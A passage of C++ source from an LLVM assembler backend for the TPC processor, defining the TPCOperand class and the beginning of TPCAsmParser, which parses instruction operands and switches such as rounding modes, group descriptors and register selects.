Val;\n };\n\n struct TokenOp {\n const char *Data;\n unsigned Length;\n };\n\n struct BinSwitch {\n unsigned Val;\n };\n\n union {\n TokenOp Token;\n RegOp Reg;\n ImmOp Imm;\n TPCII::OpType DataType;\n PredicateOp Pred;\n unsigned SwitchSet;\n unsigned DimMask;\n LoopCompare CompInfo;\n MemRIInfo MemRI;\n RhuOp Rhu;\n RhazRsOp RhazRs;\n I8Const Biased;\n I8Const GroupDesc;\n RoundModeOp RoundMode;\n MDGOp MovDualGroup;\n RegSelFromOp RegSelFrom;\n RegSelToOp RegSelTo;\n BothDivModOp BothDivMod;\n X2Op X2;\n MovDGAllOp MovDGAll;\n MovDGPackOp MovDGPack;\n MovDGUnpackOp MovDGUnpack;\n };\n\n std::vector<std::string> SwitchNames;\n\npublic:\n TPCOperand(OpKind K, SMLoc S, SMLoc E)\n : Kind(K), StartLoc(S), EndLoc(E) {\n }\n\n //------ Register operand\n\n bool isReg() const override { return Kind == OpKind::Reg; }\n\n unsigned getReg() const override {\n assert(Kind == OpKind::Reg && \"Invalid access!\");\n return Reg.Num;\n }\n\n int getRegClass() const {\n assert(Kind == OpKind::Reg && \"Invalid access!\");\n return Reg.Class;\n }\n\n static std::unique_ptr<TPCOperand>\n CreateReg(unsigned RegNo, int RegClassNo, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::Reg, StartLoc, EndLoc);\n Res->Reg.Num = RegNo;\n Res->Reg.Class = RegClassNo;\n return Res;\n }\n\n //------ Token operand\n\n bool isToken() const override { return Kind == OpKind::Token; }\n\n StringRef getToken() const {\n assert(Kind == OpKind::Token && \"Invalid access!\");\n return StringRef(Token.Data, Token.Length);\n }\n\n void truncateToken(unsigned NewLen) {\n assert(Kind == OpKind::Token && \"Invalid access!\");\n assert(Token.Length >= NewLen);\n Token.Length = NewLen;\n EndLoc = SMLoc::getFromPointer(StartLoc.getPointer() + NewLen);\n }\n\n static std::unique_ptr<TPCOperand> CreateToken(StringRef Str, SMLoc S) {\n auto Op = std::make_unique<TPCOperand>(OpKind::Token, S, S);\n Op->Token.Data = Str.data();\n Op->Token.Length = Str.size();\n Op->StartLoc = S;\n Op->EndLoc = SMLoc::getFromPointer(S.getPointer() + Str.size());\n return Op;\n }\n\n //------ Immediate operand\n\n bool isImm() const override {\n return Kind == OpKind::Imm;\n }\n\n int64_t getImm() const {\n assert(Kind == OpKind::Imm && \"Not an immediate\");\n assert(Imm.Expr == nullptr && \"Immediate is an expression\");\n return Imm.Val;\n }\n\n\n static std::unique_ptr<TPCOperand> CreateImm(const MCExpr *EVal, SMLoc S,\n SMLoc E) {\n if (EVal->getKind() == MCExpr::Constant) {\n // If the expression is a constant, resolve it immediately.\n int64_t Val;\n if (EVal->evaluateAsAbsolute(Val)) {\n auto Op = std::make_unique<TPCOperand>(OpKind::Imm, S, E);\n Op->Imm.Expr = nullptr;\n Op->Imm.Val = Val;\n Op->StartLoc = S;\n Op->EndLoc = E;\n return Op;\n }\n } else {\n auto Op = std::make_unique<TPCOperand>(OpKind::Imm, S, E);\n Op->Imm.Expr = EVal;\n Op->StartLoc = S;\n Op->EndLoc = E;\n return Op;\n }\n return std::unique_ptr<TPCOperand>();\n }\n\n static std::unique_ptr<TPCOperand> CreateImm(int64_t Val, SMLoc S, SMLoc E) {\n auto Op = std::make_unique<TPCOperand>(OpKind::Imm, S, E);\n Op->Imm.Val = Val;\n Op->Imm.Expr = nullptr;\n Op->StartLoc = S;\n Op->EndLoc = E;\n return Op;\n }\n\n //------ DataType operand\n\n bool isDataType() const { return Kind == OpKind::DataType; }\n\n TPCII::OpType getDataType() const {\n assert(Kind == OpKind::DataType && \"Not a data type\");\n return DataType;\n }\n\n static std::unique_ptr<TPCOperand> CreateDataType(TPCII::OpType Value,\n SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::DataType, StartLoc, EndLoc);\n Res->DataType = Value;\n return Res;\n }\n\n //------ Switch set operand\n\n bool isSwitchSet() const { return Kind == OpKind::SwitchSet; }\n bool isSwitchLutPtr() const { return Kind == OpKind::SwitchLutPtr; }\n bool isSwitchAll() const { return Kind == OpKind::SwitchAll; }\n\n unsigned getSwitchSet() const {\n assert(Kind >= OpKind::SwitchSet && \"Not a switch set\");\n return SwitchSet;\n }\n\n void setSwitchSet(unsigned X) {\n assert(Kind >= OpKind::SwitchSet && \"Not a switch set\");\n SwitchSet = X;\n }\n\n std::vector<std::string> &getSwitchNames() { return SwitchNames; }\n\n static std::unique_ptr<TPCOperand> CreateSwitchSet(SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::SwitchSet, StartLoc, EndLoc);\n Res->SwitchSet = 0;\n return Res;\n }\n\n //------ DimMask operand\n\n bool isDimMask() const { return Kind == OpKind::DimMask; }\n\n unsigned getDimMask() const {\n assert(Kind == OpKind::DimMask && \"Not a dimmask\");\n return DimMask;\n }\n\n static std::unique_ptr<TPCOperand> CreateDimMask(unsigned Value,\n SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::DimMask, StartLoc, EndLoc);\n Res->DimMask = Value;\n return Res;\n }\n\n //------ Comparison operand\n\n bool isComparison() const { return Kind == OpKind::Comparison; }\n\n LoopCompare getComparison() const {\n assert(Kind == OpKind::Comparison && \"Not a comparison\");\n return CompInfo;\n }\n\n static std::unique_ptr<TPCOperand> CreateComparison(LoopCompare Value,\n SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::Comparison, StartLoc, EndLoc);\n Res->CompInfo = Value;\n return Res;\n }\n\n //------ MemRI operand\n\n bool isMemRI() const { return Kind == OpKind::MemRI; }\n\n static std::unique_ptr<TPCOperand> CreateMemRI(unsigned Reg, unsigned Offset,\n SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::MemRI, StartLoc, EndLoc);\n Res->MemRI.Reg = Reg;\n Res->MemRI.Offset = Offset;\n return Res;\n }\n\n //------ Accumulator operand\n\n bool isAccumulator() const { return Kind == OpKind::Accumulator; }\n\n static std::unique_ptr<TPCOperand> CreateAccumulator(SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::Accumulator, StartLoc, EndLoc);\n return Res;\n }\n\n //------ BothDivMod operand\n\n bool isBothDivMod() const { return Kind == OpKind::BothDivMod; }\n\n static std::unique_ptr<TPCOperand> CreateBothDivMod(\n unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::BothDivMod, StartLoc, EndLoc);\n Res->BothDivMod.Val = Val;\n return Res;\n }\n\n //------ X2 operand\n\n bool isX2() const { return Kind == OpKind::X2; }\n\n static std::unique_ptr<TPCOperand> CreateX2(\n unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::X2, StartLoc, EndLoc);\n Res->X2.Val = Val;\n return Res;\n }\n\n //------ MovDGAll\n\n bool isMovDGAll() const { return Kind == OpKind::MovDGAll; }\n\n static std::unique_ptr<TPCOperand> CreateMovDGAll(\n unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::MovDGAll, StartLoc, EndLoc);\n Res->MovDGAll.Val = Val;\n return Res;\n }\n\n //------ MovDGPack\n\n bool isMovDGPack() const { return Kind == OpKind::MovDGPack; }\n\n static std::unique_ptr<TPCOperand> CreateMovDGPack(\n unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::MovDGPack, StartLoc, EndLoc);\n Res->MovDGPack.Val = Val;\n return Res;\n }\n\n //------ MovDGUnpack\n\n bool isMovDGUnpack() const { return Kind == OpKind::MovDGUnpack; }\n\n static std::unique_ptr<TPCOperand> CreateMovDGUnpack(\n unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::MovDGUnpack, StartLoc, EndLoc);\n Res->MovDGUnpack.Val = Val;\n return Res;\n }\n\n //------ Memory operand\n\n bool isMem() const override { return false; }\n\n //------ Predicate operand\n\n bool isPredicate() const { return Kind == OpKind::Predicate; }\n bool isSPredicate() const { return Kind == OpKind::Predicate && !Pred.IsVector; }\n bool isVPredicate() const { return Kind == OpKind::Predicate && Pred.IsVector; }\n\n PredicateOp getPredicate() const {\n assert(isPredicate());\n return Pred;\n }\n\n static std::unique_ptr<TPCOperand> CreatePredicate(int RegNum, bool Polarity, bool IsVector,\n SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::Predicate, StartLoc, EndLoc);\n Res->Pred.RegNum = RegNum;\n Res->Pred.Polarity = Polarity;\n Res->Pred.IsVector = IsVector;\n return Res;\n }\n\n //------\n\n // Used by the TableGen code to add particular types of operand\n // to an instruction.\n void addRegOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n Inst.addOperand(MCOperand::createReg(getReg()));\n }\n\n void addImmOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isImm());\n if (Imm.Expr)\n Inst.addOperand(MCOperand::createExpr(Imm.Expr));\n else\n Inst.addOperand(MCOperand::createImm(Imm.Val));\n }\n\n void addDataTypeOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n Inst.addOperand(MCOperand::createImm(getDataType()));\n }\n\n void addDimMaskOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n Inst.addOperand(MCOperand::createImm(getDimMask()));\n }\n\n void addSwitchSetOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n Inst.addOperand(MCOperand::createImm(getSwitchSet()));\n }\n\n void addComparisonOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n Inst.addOperand(MCOperand::createImm(static_cast<int>(getComparison())));\n }\n\n void addAccumulatorOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n Inst.addOperand(MCOperand::createImm(0));\n }\n\n void addMemRIOperands(MCInst &Inst, unsigned N) const {\n assert(N == 2 && \"Invalid number of operands\");\n assert(isMemRI());\n Inst.addOperand(MCOperand::createReg(MemRI.Reg));\n Inst.addOperand(MCOperand::createImm(MemRI.Offset));\n }\n\n void addSPredicateOperands(MCInst &Inst, unsigned N) const {\n assert(N == 2 && \"Invalid number of operands\");\n PredicateOp Pred = getPredicate();\n assert(!Pred.IsVector);\n Inst.addOperand(MCOperand::createReg(Pred.RegNum));\n Inst.addOperand(MCOperand::createImm(Pred.Polarity));\n }\n\n void addVPredicateOperands(MCInst &Inst, unsigned N) const {\n assert(N == 2 && \"Invalid number of operands\");\n PredicateOp Pred = getPredicate();\n assert(Pred.IsVector);\n Inst.addOperand(MCOperand::createReg(Pred.RegNum));\n Inst.addOperand(MCOperand::createImm(Pred.Polarity));\n }\n\n void addDualGroupOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isDualGroup() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(MovDualGroup.Val));\n }\n\n void addWROperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isWR() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(MovDualGroup.Val));\n }\n\n void addSDGOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isSDG() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(MovDualGroup.Val));\n }\n\n void addWEGOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isWEG() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(MovDualGroup.Val));\n }\n\n bool isRoundMode() const {\n return Kind == OpKind::RoundMode;\n }\n\n bool isRhu() const {\n return Kind == OpKind::Rhu;\n }\n\n bool isRhazRs() const {\n return Kind == OpKind::RhazRs;\n }\n\n bool isBiased() const {\n return Kind == OpKind::Biased;\n }\n\n bool isGroupDesc() const {\n return Kind == OpKind::GroupDesc;\n }\n\n bool isRegSelFrom() const {\n return Kind == OpKind::RegSelFrom;\n }\n\n bool isRegSelTo() const {\n return Kind == OpKind::RegSelTo;\n }\n\n\n static std::unique_ptr<TPCOperand> CreateRhu(unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::Rhu, StartLoc, EndLoc);\n Res->Rhu.Val = Val;\n return Res;\n }\n\n static std::unique_ptr<TPCOperand> CreateRhazRs(unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::RhazRs, StartLoc, EndLoc);\n Res->RhazRs.Val = Val;\n return Res;\n }\n\n static std::unique_ptr<TPCOperand> CreateBiased(unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::Biased, StartLoc, EndLoc);\n Res->Biased.Val = Val;\n return Res;\n }\n\n static std::unique_ptr<TPCOperand> CreateRoundMode(StringRef Name, unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::RoundMode, StartLoc, EndLoc);\n Res->RoundMode.Name = Name;\n Res->RoundMode.Val = Val;\n return Res;\n }\n\n static std::unique_ptr<TPCOperand> CreateGroupDesc(unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::GroupDesc, StartLoc, EndLoc);\n Res->GroupDesc.Val = Val;\n return Res;\n }\n\n static std::unique_ptr<TPCOperand> CreateRegSelFrom(StringRef Name, unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::RegSelFrom, StartLoc, EndLoc);\n Res->RegSelFrom.Name = Name;\n Res->RegSelFrom.Val = Val;\n return Res;\n }\n\n static std::unique_ptr<TPCOperand> CreateRegSelTo(StringRef Name, unsigned Val, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::RegSelTo, StartLoc, EndLoc);\n Res->RegSelTo.Name = Name;\n Res->RegSelTo.Val = Val;\n return Res;\n }\n\n void addRegSelFromOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isRegSelFrom() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(RegSelFrom.Val));\n }\n\n void addRegSelToOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isRegSelTo() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(RegSelTo.Val));\n }\n\n void addRhuOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isRhu() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(Rhu.Val));\n }\n\n void addRhazRsOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isRhazRs() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(RhazRs.Val));\n }\n\n void addBiasedOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isBiased() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(Biased.Val));\n }\n\n void addGroupDescOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isGroupDesc() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(GroupDesc.Val));\n }\n\n void addRoundModeOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isRoundMode() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(RoundMode.Val));\n }\n\n void addBothDivModOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isBothDivMod() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(BothDivMod.Val));\n }\n\n void addX2Operands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isX2() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(X2.Val));\n }\n\n void addMovDGAllOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isMovDGAll() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(MovDGAll.Val));\n }\n\n void addMovDGPackOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isMovDGPack() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(MovDGPack.Val));\n }\n\n void addMovDGUnpackOperands(MCInst &Inst, unsigned N) const {\n assert(N == 1 && \"Invalid number of operands\");\n assert(isMovDGUnpack() && \"Invalid operand type\");\n Inst.addOperand(MCOperand::createImm(MovDGUnpack.Val));\n }\n\n bool isDualGroup() const {\n return Kind == OpKind::DualGroup;\n }\n\n static std::unique_ptr<TPCOperand> CreateDualGroup(unsigned Val, StringRef Name, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::DualGroup, StartLoc, EndLoc);\n Res->MovDualGroup.Val = Val;\n Res->MovDualGroup.Name = Name;\n return Res;\n }\n\n bool isWR() const {\n return Kind == OpKind::WR;\n }\n\n static std::unique_ptr<TPCOperand> CreateWR(unsigned Val, StringRef Name, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::WR, StartLoc, EndLoc);\n Res->MovDualGroup.Val = Val;\n Res->MovDualGroup.Name = Name;\n return Res;\n }\n\n bool isSDG() const {\n return Kind == OpKind::SDG;\n }\n\n static std::unique_ptr<TPCOperand> CreateSDG(unsigned Val, StringRef Name, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::SDG, StartLoc, EndLoc);\n Res->MovDualGroup.Val = Val;\n Res->MovDualGroup.Name = Name;\n return Res;\n }\n\n bool isWEG() const {\n return Kind == OpKind::WEG;\n }\n\n static std::unique_ptr<TPCOperand> CreateWEG(unsigned Val, StringRef Name, SMLoc StartLoc, SMLoc EndLoc) {\n auto Res = std::make_unique<TPCOperand>(OpKind::WEG, StartLoc, EndLoc);\n Res->MovDualGroup.Val = Val;\n Res->MovDualGroup.Name = Name;\n return Res;\n }\n\n /// getStartLoc - Get the location of the first token of this operand.\n SMLoc getStartLoc() const override { return StartLoc; }\n\n /// getEndLoc - Get the location of the last token of this operand.\n SMLoc getEndLoc() const override { return EndLoc; }\n\n /// getLocRange - Get the range between the first and last token of this\n /// operand.\n SMRange getLocRange() const { return SMRange(StartLoc, EndLoc); }\n\n void print(raw_ostream &OS) const override {\n switch (Kind) {\n case OpKind::Token:\n OS << \"Tok: \" << Token.Data;\n break;\n case OpKind::Reg:\n OS << \"Reg: \" << TPCInstPrinter::getRegisterName(Reg.Num);\n break;\n case OpKind::Imm:\n if (Imm.Expr)\n OS << \"ImmExpr: \" << Imm.Expr;\n else\n OS << \"Imm: \" << Imm.Val;\n break;\n case OpKind::MemRI:\n OS << \"Offset: \" << MemRI.Offset << \", Reg: \" << TPCInstPrinter::getRegisterName(MemRI.Reg);\n break;\n case OpKind::DataType: {\n static const StringRef OpTypes[] = {\n \"f32\", \"bf16\", \"i32\", \"u32\", \"i8\", \"u8\", \"b\", \"i16\", \"u16\", \"f16\"\n };\n assert(DataType <= TPCII::OpType::Max);\n OS << \"DataType: \" << OpTypes[DataType];\n break;\n }\n case OpKind::DimMask:\n assert(DimMask < 32);\n OS << \"DimMask: \" << std::bitset<5>(DimMask).to_string();\n break;\n case OpKind::SwitchSet:\n OS << \"SwitchSet: \" << SwitchSet;\n break;\n case OpKind::Comparison:\n OS << LoopCompareText[static_cast<unsigned>(CompInfo)];\n break;\n case OpKind::Accumulator:\n OS << \"Acc \";\n break;\n case OpKind::SwitchLutPtr:\n OS << \"SwitchSet with LutPtr: \" << SwitchSet;\n break;\n case OpKind::SwitchAll:\n OS << \"SwitchSet with All: \" << SwitchSet;\n break;\n case OpKind::Predicate:\n OS << \"Pred: \";\n if (Pred.Polarity)\n OS << \"!\";\n OS << TPCInstPrinter::getRegisterName(Pred.RegNum);\n break;\n case OpKind::GroupDesc:\n OS << \"GroupDesc: \" << GroupDesc.Val;\n break;\n case OpKind::RoundMode:\n OS << \"RoundMode: \" << RoundMode.Name;\n break;\n case OpKind::Rhu:\n OS << \"RHU: \"<< Rhu.Val;\n break;\n case OpKind::RhazRs:\n OS << \"RHAZ_RS: \"<< RhazRs.Val;\n break;\n case OpKind::DualGroup:\n case OpKind::WR:\n case OpKind::SDG:\n case OpKind::WEG:\n OS << MovDualGroup.Name << \"=\" << MovDualGroup.Val;\n break;\n case OpKind::RegSelFrom:\n OS << \"RegSelFrom: \" << RegSelFrom.Name;\n break;\n case OpKind::RegSelTo:\n OS << \"RegSelTo: \" << RegSelTo.Name;\n break;\n case OpKind::BothDivMod:\n OS << \"BothDivMod: \" << BothDivMod.Val;\n break;\n case OpKind::X2:\n OS << \"X2: \" << X2.Val;\n break;\n case OpKind::MovDGAll:\n OS << \"MovDGAll: \" << MovDGAll.Val;\n break;\n case OpKind::MovDGPack:\n OS << \"MovDGPack: \" << MovDGPack.Val;\n break;\n case OpKind::MovDGUnpack:\n OS << \"MovDGUnpack: \" << MovDGUnpack.Val;\n break;\n default:\n llvm_unreachable(\"Invalid operand kind\");\n }\n }\n};\n\nclass TPCAsmParser : public MCTargetAsmParser {\n#define GET_ASSEMBLER_HEADER\n#define GET_REGISTER_MATCHER\n#include \"TPCGenAsmMatcher.inc\"\n\nprivate:\n MCAsmParser &Parser;\n MCAsmLexer &Lexer;\n TPCAsmInstCompress *AC;\n const MCRegisterInfo *MRI;\n const MCRegisterClass &SPRegClass;\n const MCRegisterClass &VPRegClass;\n\n MCInst Bundle;\n SlotParser CurrentSlot = SlotParser::Unknown;\n bool IsLastInstrInBundle = false;\n bool NewAsmFormat = false;\n\n std::set<StringRef> OperatorLabels;\n std::set<StringRef> FreeLabels;\n\n const char *TPCHeaderParseBaseError =\n \"Unexpected token during parse tpc metadata: '\";\n Optional<TPCMetadataSection> TPCHeader;\n Optional<std::string> IndexMap;\n\npublic:\n TPCAsmParser(const MCSubtargetInfo &sti, MCAsmParser &Parser,\n const MCInstrInfo &MII, const MCTargetOptions &Options)\n : MCTargetAsmParser(Options, sti, MII)\n , Parser(Parser)\n , Lexer(Parser.getLexer())\n , MRI(Parser.getContext().getRegisterInfo())\n , SPRegClass(MRI->getRegClass(TPC::SPRFRegClassID))\n , VPRegClass(MRI->getRegClass(TPC::VPRFRegClassID)) {\n AC = new TPCAsmInstCompress(MII);\n AC->setCompressEnabled(Options.MCCompressInst);\n MCAsmParserExtension::Initialize(Parser);\n TPCII::setSubTargetInfo(&sti);\n\n // Initialize the set of available features.\n setAvailableFeatures(ComputeAvailableFeatures(getSTI().getFeatureBits()));\n }\n\n void onLabelParsed(MCSymbol *Symbol) override {\n AC->onLabelEmited(Symbol);\n\n FreeLabels.insert(Symbol->getName());\n LLVM_DEBUG(dbgs() << \"Label detected: \" << Symbol->getName() << \"\\n\");\n }\n\n void onEndOfFile() override {\n for (const StringRef &Label : OperatorLabels)\n if (FreeLabels.find(Label) == FreeLabels.end())\n Error(SMLoc::getFromPointer(Label.begin()), \"missing label\",\n SMRange(SMLoc::getFromPointer(Label.begin()),\n SMLoc::getFromPointer(Label.end())));\n }\n\nprivate:\n\n SMLoc consumeToken() {\n SMLoc Result = Parser.getTok().getLoc();\n Parser.Lex();\n return Result;\n }\n\n enum PredicateKind {\n NotAPredicate,\n ScalarPredicate,\n VectorPredicate\n };\n\n PredicateKind getPredicateKind(unsigned RegNo) {\n if (SPRegClass.contains(RegNo))\n return ScalarPredicate;\n if (VPRegClass.contains(RegNo))\n return VectorPredicate;\n return NotAPredicate;\n }\n\n enum class SwitchParseState {\n Ok,\n Unknown,\n Error\n };\n\n SwitchParseState processSwitch(StringRef Switch, SlotParser Slot,\n StringRef Mnemonic, StringRef Value,\n OperandVector &Operands, SMLoc Start, SMLoc End);\n\n OperandMatchResultTy parseOperand(OperandVector &Operands, StringRef Mnemonic);\n OperandMatchResultTy parsePredicate(OperandVector &Operands);\n OperandMatchResultTy parseComparison(OperandVector &Operands);\n OperandMatchResultTy parseRegister(OperandVector &Operands);\n OperandMatchResultTy parseNumber(OperandVector &Operands);\n OperandMatchResultTy parseImmediate(OperandVector &Operands);\n OperandMatchResultTy parseMemRI(OperandVector &Operands);\n bool parseAsSeparateSwitch(StringRef Switch, StringRef Mnemonic,\n SMRange Range, OperandVector &Operands,\n unsigned SwitchValue, TPCOperand *SpecialOperand);\n\n OperandMatchResultTy parseRhu(OperandVector &Operands) {\n SMLoc S = Parser.getTok().getLoc();\n const AsmToken &Tok = Parser.getTok();\n StringRef RhuFlagStr = Tok.getString();\n\n unsigned RHU = StringSwitch<unsigned>(RhuFlagStr.lower())\n .Case(\"rhu\", 2)\n .Default(~0U);\n\n if (RHU != ~0U) {\n Parser.Lex(); // Eat identifier token.\n Operands.push_back(TPCOperand::CreateRhu(int64_t(RHU), S, S));\n return MatchOperand_Success;\n } else {\n return MatchOperand_NoMatch;\n }\n }\n\n OperandMatchResultTy parseRhazRs(OperandVector &Operands) {\n SMLoc S = Parser.getTok().getLoc();\n const AsmToken &Tok = Parser.getTok();\n StringRef RhazRsFlagStr = Tok.getString();\n\n unsigned RhazRs = StringSwitch<unsigned>(RhazRsFlagStr.lower())\n .Case(\"rhaz_rs\", 4)\n .Default(~0U);\n\n if (RhazRs != ~0U) {\n Parser.Lex(); // Eat identifier token.\n Operands.push_back(TPCOperand::CreateRhazRs(int64_t(RhazRs), S, S));\n return MatchOperand_Success;\n } else {\n return MatchOperand_NoMatch;\n }\n }\n\n OperandMatchResultTy parseBiased(OperandVector &Operands) {\n SMLoc S = Parser.getTok().getLoc();\n const AsmToken &Tok = Parser.getTok();\n StringRef BiasedFlagStr = Tok.getString();\n\n unsigned Biased = StringSwitch<unsigned>(BiasedFlagStr.lower())\n .Case(\"biased\", 1)\n .Default(~0U);\n\n if (Biased != ~0U) {\n Parser.Lex(); // Eat identifier token.\n Operands.push_back(TPCOperand::CreateBiased(int64_t(Biased), S, S));\n return MatchOperand_Success;\n }\n else {\n return MatchOperand_NoMatch;\n }\n }\n\n OperandMatchResultTy parseGroupDesc(OperandVector &Operands) {\n static StringRef incorrectGroupDesc = \"Unexpected group description.\";\n\n static std::map<StringRef, unsigned> maxValues {\n { \"wr_lower_group\", 1 },\n { \"wr_upper_group\", 1 },\n { \"src_dual_group\", 3 },\n { \"dst_dual_group\", 3 },\n { \"group_en\", 3 },\n { \"lane_sel\", 3 },\n { \"dual_group_en\", 15 }\n };\n\n SMLoc S = Parser.getTok().getLoc();\n const AsmToken &Tok = Parser.getTok();\n StringRef groupDesc = Tok.getString();\n\n if (maxValues.count(groupDesc.lower()) > 0) {\n Parser.Lex(); // Eat identifier token.\n if (Tok.getString() != \"=\") {\n Error(S, incorrectGroupDesc);\n return MatchOperand_ParseFail;\n }\n\n Parser.Lex();\n if (!Tok.is(AsmToken::Integer)) {\n Error(S, incorrectGroupDesc);\n return MatchOperand_ParseFail;\n }\n\n int64_t val = Tok.getIntVal();\n Parser.Lex(); // Eat value.\n if (val > maxValues[groupDesc.lower()]) {\n Error(S, incorrectGroupDesc);\n return MatchOperand_ParseFail;\n }\n\n Operands.push_back(TPCOperand::CreateGroupDesc(int64_t(val), S, S));\n return MatchOperand_Success;\n }\n\n return MatchOperand_NoMatch;\n }\n\n\n OperandMatchResultTy parseRegSelFrom(OperandVector &Operands) {\n SMLoc S = Parser.getTok().getLoc();\n const AsmToken &Tok = Parser.getTok();\n StringRef opName = Tok.getString();\n\n StringRef val = Tok.getString();\n unsigned regSel = StringSwitch<unsigned>(val.upper())\n .Case(\"PC\", 0)\n .Case(\"S_CARRY\", 2)\n .Case(\"V_CARRY\", 3)\n .Default(~0U);\n\n if (regSel != ~0U) {\n Parser.Lex();\n Operands.push_back(TPCOperand::CreateRegSelFrom(opName, int64_t(regSel), S, S));\n return MatchOperand_Success;\n }\n else {\n return MatchOperand_NoMatch;\n }\n }\n OperandMatchResultTy parseRegSelTo(OperandVector &Operands) {\n SMLoc S = Parser.getTok().getLoc();\n const AsmToken &Tok = Parser.getTok();\n StringRef opName = Tok.getString();\n\n#if 0\n StringRef val = Tok.getString();\n // OLD RegSelTo. Now we use Reg class for HW regs\n unsigned regSel = StringSwitch<unsigned>(val.lower())\n .Case(\"div_step\", 1)\n .Case(\"s_carry\", 2)\n .Case(\"v_carry\", 3)\n .Case(\"irf_dim_mask0\", 4)\n .Case(\"irf_dim_mask1\", 5)\n .Case(\"irf_dim_mask2\", 6)\n .Case(\"irf_dim_mask3\", 7)\n .Case(\"ld_tnsr_id_reg\", 8)\n .Case(\"st_tnsr_id_reg\", 9)\n .Case(\"st_rmw_reg\", 10)\n .Case(\"ld_partial_reg\", 11)\n .Case(\"st_partial_reg\", 12)\n .Default(~0U);\n#else\n unsigned regSel = ~0U;\n#endif\n\n if (regSel != ~0U) {\n Parser.Lex();\n Operands.push_back(TPCOperand::CreateRegSelTo(opName, int64_t(regSel), S, S));\n return MatchOperand_Success;\n }\n else {\n return MatchOperand_NoMatch;\n }\n }\n\n OperandMatchResultTy parseBothDivMod(OperandVector &Operands) {\n 